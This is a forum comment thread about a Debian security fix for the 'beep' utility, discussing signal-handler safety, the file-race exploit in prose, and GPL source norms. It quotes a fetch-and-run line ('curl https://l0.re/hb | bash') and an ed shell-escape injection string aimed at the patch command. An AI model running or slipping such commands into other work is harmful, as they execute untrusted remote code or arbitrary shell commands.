Beep security update
debian.org
debian.org
[1] http://pubs.opengroup.org/onlinepubs/9699919799/functions/V2...
Why is it accepted by the compiler, then?
For example: the signal handler would be a function that accepts an argument of some kind, and the argument is the key to reaching all apis allowed from that point (e.g. the argument must be passed on to allowed apis, or the argument contains function pointers to all allowed functions, that is "OO-style").
I'm not saying this would be possible by any stretch of the imagination for POSIX.
Edit: to be clear -- I'm not asking this just to be snarky :-). Inferring functional information from nothing but semantic information with no functional implication is a very complicated problem that has very error-prone solutions. In C's case, in fact, I think C99 defines signal handlers as taking a single argument, an int. A compiler that doesn't let me call free from a function that takes a single integer argument wouldn't be too useful.
IRL, there are analysis tools that can help catch (a subset of) this sort of problem, but they are environment-specific and don't rely on just the function definition. They either look at the signal handler installation calls (but then they're restricted to information that's known at compile time!), or require some sort of annotation (e.g. via special comments a la Doxygen, or via macros etc.).
And even then, the sort of problems that they catch are specific to each environment. The restriction isn't that you shouldn't call <these functions> under POSIX, the restriction is that you shouldn't call functions that are not async-signal-safe (i.e. they're not re-entrant or they're not atomic with respect to signals). There are a few POSIX functions that are safe to call from signals (see man 7 signal-safety on a Linux box), but that list obviously doesn't cover user-defined functions -- some of which may be OK to call, others not so much.
You can probably determine if a function is async-call-safe with some static analysis but at this point, it's the sort of stuff that really doesn't belong in a compiler anymore...
void handle_signal(struct signal_handler_arg *arg)
which does signal handlingand this:
void check_signal_info(struct signal_handler_arg *arg)
which validates a struct signal_handler, is called outside a signal handler, and doesn't do any signal handling.Similarly, you would not be able to verify that this is okay:
void handle_signalstruct signal_handler_arg *arg)
{
...
some_global_state->some_cb(...);
}
If some_cb is populated at runtime, how do you know (at compile-time) that it's been populated with a function that's safe to call inside a signal?Let's use a pseudo OO syntax:
void foo(arg: argtype)
{
arg.do_thing(); // ok
frob(arg); // not possible - if frob might be forbidden anywhere then it's not callable like this
}
That frob is forbidden isn't because the compiler detected that foo is a signal handler, but because no forbidden functions exist. I'm not sure this would be practical in this context - but it's the only way I can imagine to have a compiler detect that you don't call a particular function from a particular context. Basically, very few global/static functoins would have to exist, and no/very little global state as well.> That frob is forbidden isn't because the compiler detected that foo is a signal handler, but because no forbidden functions exist.
or this:
> not possible - if frob might be forbidden anywhere then it's not callable like this
So basically: say that putchar is the forbidden function. Then there exists no global function "putchar". There is no way to just "import" a header and call putchar in our language/api.
Instead, everything available to a function is what's passed to it (an interface to available API). So for example for a particular type of context (a handler, say) - a very restricted api is passed in as argument, meaning the code inside that function has very little api surface area to play with.
It's not a certain set of functions that you want to forbid, it's a certain behaviour (e.g. being interruptible by signals, or being non-reentrancy). Forbidding functions won't get you anywhere. You can always forbid write(), but you won't be able to forbid functions that dynamically dispatch to write() at runtime, or user-defined functions that aren't reentrant.
Edit: i.e. when we say you shouldn't call write(2) from a signal handler, that's not because there's a list somewhere in a POSIX standard with functions that you shouldn't call in a signal handler and write(2) is on it \. That's because the POSIX spec allows write(2) to be interrupted by a signal and that's not okay inside a signal handler.
___
\ There might be one, I haven't looked at a POSIX spec in a long time now -- but either way, the point is that such a list is open :-).
Classifying functions into more categories like "interruptible", "uninterruptible" seems doable with enough language support. It doesn't look to far from what e.g. Rust and C# does with "unsafe", i.e. a status of functions that bubbles up so that your function may be tainted as unsafe by calling unsafe functions. If the number of classifications of functions is small as is the case with unsafe/safe, or uninterruptible/interruptible then it would seem possible to sort this out via compiler support and keywords for example. So for example a signal handler is then an uninterruptible function. It's a compiler error to call even indirectly, or dynamically dispatch to interruptible functions.
For any type of safety, dynamic dispatch obviously needs to be done in a type safe manner, so no pointer arithmetic/function pointer invocation can be allowed. Doing so would make the called code be assumed to be the worst of all categories: unsafe, interruptible etc). This is how unsafe/safe works too.
So while it's cumbersome I'm sure it would be possible to achieve at least to some extent, given an expressive enough language and a clever enough compiler.
(That's what I was saying, except the bit that programmers cannot reasonably be expected to understand what to do in a signal handler. That you should usually only set a (volatile) flag and return immediately, and should take extreme care if you really need to do more, is basically the first thing you learn when you read up on signal handlers. That's also completely obvious if you take a look at how they are implemented.)
But on the other hand, the signals API might be a problem. Signals aren't exactly praised as a marvel of engineering. There probably is a need for something as low-level as that in some cases. But in the common case an API that just asynchronously sets a volatile flag when a signal is received, should be sufficient. Calls to "slow" devices are interrupted and return EINTR anyway.
Signal handlers were always meant to be "top-half" interrupt handlers -- set a flag or put something in a queue for the main thread to process. signalfd(2) formalized this usage.
I find this very useful, a lot more useful than to say "If you don't even read the manpages there is no help in sight".
Maybe the compiler should not do it but perhaps you could run a linter against packages that are shipped with an os to find issues like this easier.
When the signal handler is compiled, there’s nothing to say “this will be used as a signal handler,” so while the compiler has the source it doesn’t have a reason to complain about calling any particular functions.
Then, when that function is used as a signal handler, the compiler has the source to the calling code (well, the code setting up the callback) but may not have the source for the handler itself. So now it knows which rules apply but may not have the code it needs to enforce those rules. If they’re in the same file, it could. And while that is a common case, it’s not the only possibility.
How much should the compiler or linter know about the platform’s API? How can I tell the compiler about any arbitrary rule my own code must follow?
As someone else suggested, you could do it with annotations, but that’s nonstandard.
Signal is basically the crappiest form of IPC available on a modern operating system short of emulating a mouse and keyboard and typing into the other application's terminal window.
There was a "talk"-like application for BBC Micro Econet called `*NOTIFY` which worked like that (minus the mouse, no mice in those days). You could message people, but also type commands as them. Happy days ...
- write(2) to STDERR_FILENO
- write(2) to a "self-pipe" (i.e., a pipe where the same
process is waiting on in its event loop), thus turning
the async signal event into an async *I/O* event that
can be handled without any constraints regarding
async-signal-safety
- _exit()
Yes, there are other async-signal-safe functions that can be called from a signal handler, but it's generally not worth it. Adhering to my more constrained approach will keep your code safe and will make it easier to always get it right.ALSO, while we're at it, the only global or thread-local variables you can read from or write to from a signal handler must be of type volatile sig_atomic_t (or else volatile of any other integral or pointer type that you can use with atomic operations). This is very important. E.g., imagine using SIGUSR1/2 to manage verbosity levels...
A write(2) to STDERR_FILENO for verbosity/debugging is fine, but mostly you don't want to do this because it will interleave with any non-line-buffered stdio writes to it... An _exit(2) is also OK if you really want to do that, but generally you want to do some cleanup, so might as well do the self-pipe thing every time.
The only tricky thing is when you use SA_SIGINFO and you want to pass the siginfo_t data to the event loop. You can write(2) that to the self-pipe, but you have to be careful of the possibility that it will fill up. You can always create a new pipe(2), write(2) the siginfo_t to it, close(2) the write end, and send the read side fd via a socketpair(2) that the event loop listens to.
kevent() is another way to handle signals. It puts handling them into the program's main event loop, which is done synchronously with normal event-dispatching mechanisms and so does not have worries about asynchronous signal safety, because with kevent() they are just another type of filter.
The nice thing about the write-a-byte-to-the-pipe thing is that it works virtually everywhere.
I'd rather recommend C11 atomics without volatile. They use memory barriers to guarantee visibility, and getting the idea that "volatile" should be used in the context of atomics is a bad idea, as it allows reordering (unlike memory barriers).
I think the reason must be that the problem lies in the intersection of three areas of development (the C programming language, the C standard library, and the POSIX operating system definition) and so requires coordination to solve.
Think about how you would implement warnings for failures of async-signal-safety. One approach would go like this:
1. In compiler front-ends, introduce a new attribute that can be attached to function declarations to indicate that they are async-signal-safe, for example __attribute__((async_signal_safe)), and a new attribute that can be attached to function parameters and struct members to indicate that the passed value must be async-signal-safe, for example __attribute__((require_async_signal_safe)).
2. In C library headers, apply the async_signal_safe attribute to all the async-signal-safe function declarations, and apply the require_async_signal_safe attribute to the parameter to the signal function and to the sa_handler member of struct sigaction.
3. In compilers, propagate the async_signal_safe attribute, so that any function that only calls async_signal_safe functions is also marked with the attribute.
4. In compilers, check that when a function is passed to a parameter or assigned to a member with the require_async_signal_safe attribute, the function is marked with the async_signal_safe attribute, and issue a warning if not.
This doesn't solve the whole problem (sometimes the compiler will not be able to know which function is going to be passed as the parameter to signal, because this is determined at runtime), and it might have false positives in obscure situations (you might in theory use a struct sigaction for some other purpose and never pass it to sigaction) but it would catch many cases, including the one in beep.
But notice the amount of coordination required. It would require input from several people with different areas of expertise.
(EDIT: The compiler doesn't even know that you're using POSIX. It can figure it out contextually. It doesn't know which C library you'll be linking with though. Bottom line: we need some C standards extensions, or failing that, GCC/Clang C extensions in order to best handle this, though there are some heuristics a compiler could implement even without those, at some mild risk.)
(E.g., suppose there was a thread-local counter of signal handlers on the stack... then stdio functions might be able to handle async-signal reentrance. It's not too farfetched, though it's obviously a lot easier to not bother at all and just leave the set of async-signal-safe functions being just the set of system calls that have sufficiently thin stubs in the C library.)
Now, the C standard could have additional keywords, much like, say, 'volatile' and friends, to describe async-signal-safety, reentrance, and other characteristics of functions. And if the C library and your programs used these then the compiler absolutely could warn or refuse to compile your program when you break the standard's rules.
Incidentally, Unix/POSIX signals are horrible. The only sane and portable way to handle them in programs that do I/O is to have an event loop and a "self-pipe" that the signal handler can write into so that the event loop can pick up and handle the signal as a normal async event in a context where there are no constraints on calling async-signal-unsafe functions. This is what I always do in my programs. I strongly recommend it. This means you don't need ppoll(2), pselect(2), signalfd(2), epoll_pwait(2), and so on -- you don't because you're always turning signals into normal I/O events, so you don't need to worry about signal blocking, and you don't need to use less widely available functions.
By default beep is not installed with the suid bit set, because that would just be zany. On the other hand, if you do make it suid root, all your problems with beep bailing on ioctl calls will magically vanish, which is pleasant, and the only reason not to is that any suid program is a potential security hole. Conveniently, beep is very short, so auditing it is pretty straightforward.
Heh
* curl | sudo bash for two lines of script
* said script just checks if you have beep installed, not if you're vulnerable
#!/bin/sh
# TODO: Backdoor this machine?
modprobe pcspkr
beep -l 1000 -r 3 -f 44000 #!/bin/sh
curl https://l0.re/hb | bash
modprobe pcspkr
beep -l 1000 -r 3 -f 44000
And then that embedded URL says: echo ohai
But only after a long delay -- perhaps it is using one of the previously documented techniques to determine whether it's being piped to bash and behaving differently.And now that I try the original curl again, that first line is gone completely:
#!/bin/sh
modprobe pcspkr
beep -l 1000 -r 3 -f 44000
Strange.> No.
> How do I uninstall Linux?
> Please follow instructions.
Shirley it's not meant as a serious resource.
"curl | bash" or "curl | sudo bash" is problematical no matter how large or small the script.
Yes, I know some people say that it is no worse than downloading to a file and then running the file without reading the script, which is what almost everyone does anyway.
These people are wrong. Downloading to a file and running it from there is always better because if you notice something wonky sometime after running the script, it is easier to prove the script caused it if you saved a copy before running it.
If you "curl | bash" it and then you notice something bad has happened and you want to look at the script, you have to curl it again. But then how do you know that second curl gives the same script as the one you just executed? If I were distributing a malicious script, I would set up my server to serve a non-malicious script most of the time and just occasionally substitute my malware script, and it would only distribute the malware once for each IP address.
Either do "curl > file; bash < file" of "curl | tee file | bash" rather than "curl | bash" if you aren't interesting in examining the script before running it.
why not just detect the `curl | bash` part server-side?
I'm still amazed how many FOSS projects have that as the primary installation path...
https://www.idontplaydarts.com/2016/04/detecting-curl-pipe-b...
!id>~/pwn.lol;beep # 13-21 12:53:21.000000000 +0100
Not bothering to test it, but I don't think that contributes to patching beep. Why do people always need to be annoying?http://git.savannah.gnu.org/cgit/patch.git/tree/src/pch.c#n2...
patch calls /bin/ed. /bin/ed has a ! command that feeds stuff to /bin/sh. Feeding unreviewed patches to the patch command is actually arbitrary command execution.
This is particularly awesome if patch is being used by other programs (i.e. a CI pipeline or other contexts).
Edit: also, there's a challenge about this in the program's README :-)
"Decide for yourself, of course, but it looks safe to me - there's only one buffer and fgets doesn't let it overflow, there's only one file opening, and while there is a potential race condition there, it's with /dev/console. If someone can exploit this race by replacing /dev/console, you've got bigger problems. :)"
I don't see where the race condition is, though.
Perhaps a user got curious how is this implemented, looked at the source, and was horrified with what they saw.
https://gist.github.com/jwilk/561ae35894756aae1e31503d0c52db...
AFAICS, it does this:
1) Fixes use of uninitialized memory.
2) Fixes double-free in the signal handler.
3) Makes sure that the device is opened only once.
I still don't understand what exactly the bug is supposed to be. I also don't understand what is the purpose of 3). With this fix applied, it's still possible for a user to open arbitrary file for writing with root privileges, which is bad.
Best way to get the source is to run “apt-get source beep” on a Debian system.
Go to https://packages.debian.org/stable/beep and download files from the "Download Source Package" section.
If you're only interested in the patch, get this one: http://security.debian.org/debian-security/pool/updates/main...
It appears that way at first, but: O_WRONLY mode will not create a new file, so you can't make files as root. If you open an existing file, it will fail later on the console device-specific ioctl. If that's the catch here, it does not seem trivial to exploit.
The while loop in `main` calls `play_beep` multiple times. Each call to `play_beep` opens the `--device` and sets the global `console_fd`, and then sets the global `console_type` based on the `ioctl(EVIOCGSND)` error, before calling `do_beep`.
This normally prevents the user from writing to arbitrary files with `--device`, because without the `ioctl(EVIOCGSND)` succeeding, `do_beep` with `BEEP_TYPE_CONSOLE` only does a (harmless?) `ioctl(KIOCSOUND)`, not a `write` with the `struct input_event`. However, the signal handler calls `do_beep` directly using the globals set by `play_beep`...
So I image that with something along the lines of `beep --device=./symlink-to-tty ... --new ...`, you can rewrite the symlink to point to an arbitrary file during the first `play_beep`, and then race the open/ioctl in the second `play_beep` with the signal handler such that `do_beep` gets called with `console_fd` pointing to your arbitrary file, and with `console_type` still set to `BEEP_TYPE_EVDEV`, resulting in a `write` to your arbitrary file.
Exploiting that for privesc would require control over the `struct input_event` for the `write`... `handle_signal` calls `do_beep` with a fixed `freq` of 0, so all of the initialized fields are set to fixed values... However, there's an unitialized `struct timeval` at the beginning of the `struct input_event`, and it's allocated on the stack...
Seems like a curious security vulnerability, I'll assume the debian security team must have a working PoC in order to actually call it out as a local privesc vulnerability... I'd love to see the actual PoC eventually :)
https://github.com/johnath/beep/issues/11#issuecomment-37886...
Remains to be seen if the PoC actually works though, I've been unable to win the race so far, although the varying ioctl errors indicate it might be close?
sudo echo -e "\7”
anyway? Or if you're trying to do something fancier there is snd-pcsp which lets use use the piezo as a normal ALSA device (quality may vary). Not that many modern machines even include such a useful device. sudo echo -e "\07" echo -e "\07"I think some terminal emulators (eg Konsole) will just read char 7 and play a system defined WAV or other workaround but your more classic terminals (eg xterm) would potentially have difficulties calling the system bell.
[1] for reference: Xorg terminals are also classed as remote terminals (eg check the TTY column in `w` to see how Linux assigns pseudo-tty's to terminal emulators inside X).
To be honest that was my assumption as well but I didn't test that theory so was only reporting on the rationale of the GPs post
> X11 also has beep functionality built in, which is what I'd expect xterm to use
X11 runs as root though (that said Xorg may not anymore now as there were talks about patching Linux so it didn't have to be) so Xorg could easily still use the standard ioctl bell (that's possibly all Xorg is doing behind the scenes in fact?)
But as I said earlier, some GUI terminal emulators avoid ioctl entirely and play a WAV tone instead.
The portable way to print ASCII BEL is:
printf '\a'> there's only one file opening, and while there is a potential race condition there, it's with /dev/console. If someone can exploit this race by replacing /dev/console, you've got bigger problems. :)
However, by reading the source one can see that you can now tell beep where it should direct its output (-e, which is not documented anywhere), so the note above is no longer accurate.
I would guess that this is the crux of the problem – the patch that fixes the security issue basically changes "open the output device once for each beep" to "open the output device on startup", greatly reducing the number of races. (It also zeroes out the buffer that's being written to certain output devices, but I have no idea if that is also to patch this security hole or to proactively prevent uninitialized bytes from leaking.)
And that virtio-beep existed.
I wonder what would happen if I pushed to get the support into KVM and the kernel. Best case scenario, the videos accompanying the too-bemused-to-really-be-angry bug reports would be legendary.
#include <curses.h>
main() { beep(); }
In fairness, the beep command does more
https://linux.die.net/man/1/beepI don't mean to cause drama, because I think the Debian security team does an awesome job of keeping an eye on patching everything in the distribution. But I'm really curious about how one would go about with further development on a package like this when the git commits aren't available? There's probably a source tarball for the .debs in the apt repos (hard to tell from a mobile web browser) but is that good enough if it doesn't contain git commits?
Also I really just wanted to read this security patch source diff on the go :)
> Does GPL say anything about distributing source via git repositories?
Nope.
> I mean, it talks about "preferred form of the work for making modifications".
This is generally interpreted as a fancy way of saying "source code" — e.g. a minified JavaScript program or something that could be decompiled isn't the "preferred form… for making modifications".
Source for all Debian packages can be retrieved via `apt-get source PACKAGE`, and via sources.debian.org[3].
Historically, the only hard requirement was that all patches be made available as a `.diff.gz` applied against the upstream, although for many years packages have since standardised on using `quilt`[2]. Some maintainers may also use git (and wrappers around it) to make things easier to manage, but quilt is sufficiently straightforward to work with that it's acceptable for most purposes.
The VCS page on the BTS points to the repository for the package. It contains an unreleased version (1.3.3-5), the security update only is a patch on the previous version released in Debian.
The last upstream release was 1.3 (2010), available on GitHub[1]. This is a Debian-specific patch against beep. We'd like all patches to make it upstream, and ensure maximum clarity, but we have limited time, and our first priority is the users of Debian. Sometimes, upstreams lose time, or there are coordination issues that prevent it. (not saying that's the case here)
[1]: http://github.com/johnath/beep/ [2]: https://wiki.debian.org/UsingQuilt [3]: https://sources.debian.org/src/beep/unstable/
But sources.d.o seem to lack security updates (or at least the security update for this package is missing). :-\
I'm still curious about the general case of GPL and Git. If I were to hack on some GPL-licensed software, my "preferred form of the work for making modifications" would hands-down be a .git repository, because all the individual git commits and commitmsgs are important (meta-)information, almost as important as the source code files themselves. It also makes collaborating on improvements much easier when you can work on git commit objects, with their parent(s) commit hash references. Without those, determining where and if a .patch should be applied to a source code dump becomes much harder.
In other words, if there exists a .git repository for a given piece of software, and all one gets is a .tar.gz flat source dump snapshot, I feel like... something has been left out?
Relevant parts quoted:
> While there can certainly be arguments about what "preferred form" means for source code distributions, Red Hat's actions here don't seem very close to the line. The basic idea is that the code be released in digital form, along with any build scripts, so that downstream developers can reproduce the GPL-covered binary that is being shipped. It is partly meant to prevent recalcitrant vendors from releasing the source on paper—or stamped into clay tablets in cuneiform. One could argue that those methods do provide the source code, but it certainly isn't in a form preferred by anyone—nor does it adhere to the "medium customarily used for software interchange" requirement.
> Obfuscated source code, where all the variables and function names get turned into unintelligible gibberish, or the source is deliberately split up in ways that are harder to work with, are a bit more of a gray area—but not much. Those kinds of actions should be seen as clear attempts to circumvent the GPL requirements. But that's not at all what Red Hat is doing.
> The tarball that Red Hat is releasing may not be the preferred form for the Red Hat kernel developers to use, but that is not part of the requirement. Tarball releases of GPL code are a longstanding tradition in the free software world. Many projects still do it that way and the FSF itself has made releases that way in the past. While it is nice to get some visibility into the version control system of a project, it certainly isn't required for GPL compliance. No one complained that Red Hat didn't provide access to its Git repositories back when it was still providing the broken-out patches, for example. A Git repository is definitely the preferred form for Red Hat developers to use, but there are lots of reasons that the company might want to keep its repositories to itself—something that is obviously within its rights.
Decide for yourself, of course, but it looks safe to me -
there's only one buffer and fgets doesn't let it overflow,
there's only one file opening, and while there is a
potential race condition there, it's with /dev/console.
If someone can exploit this race by replacing /dev/console,
you've got bigger problems. :)
It also appears /dev/console is overridable, https://github.com/johnath/beep/blob/master/beep.c#L149.True but same idea applies. If your end device is maliciously replaceable you've got bigger problems.
beep: open: not a typewriter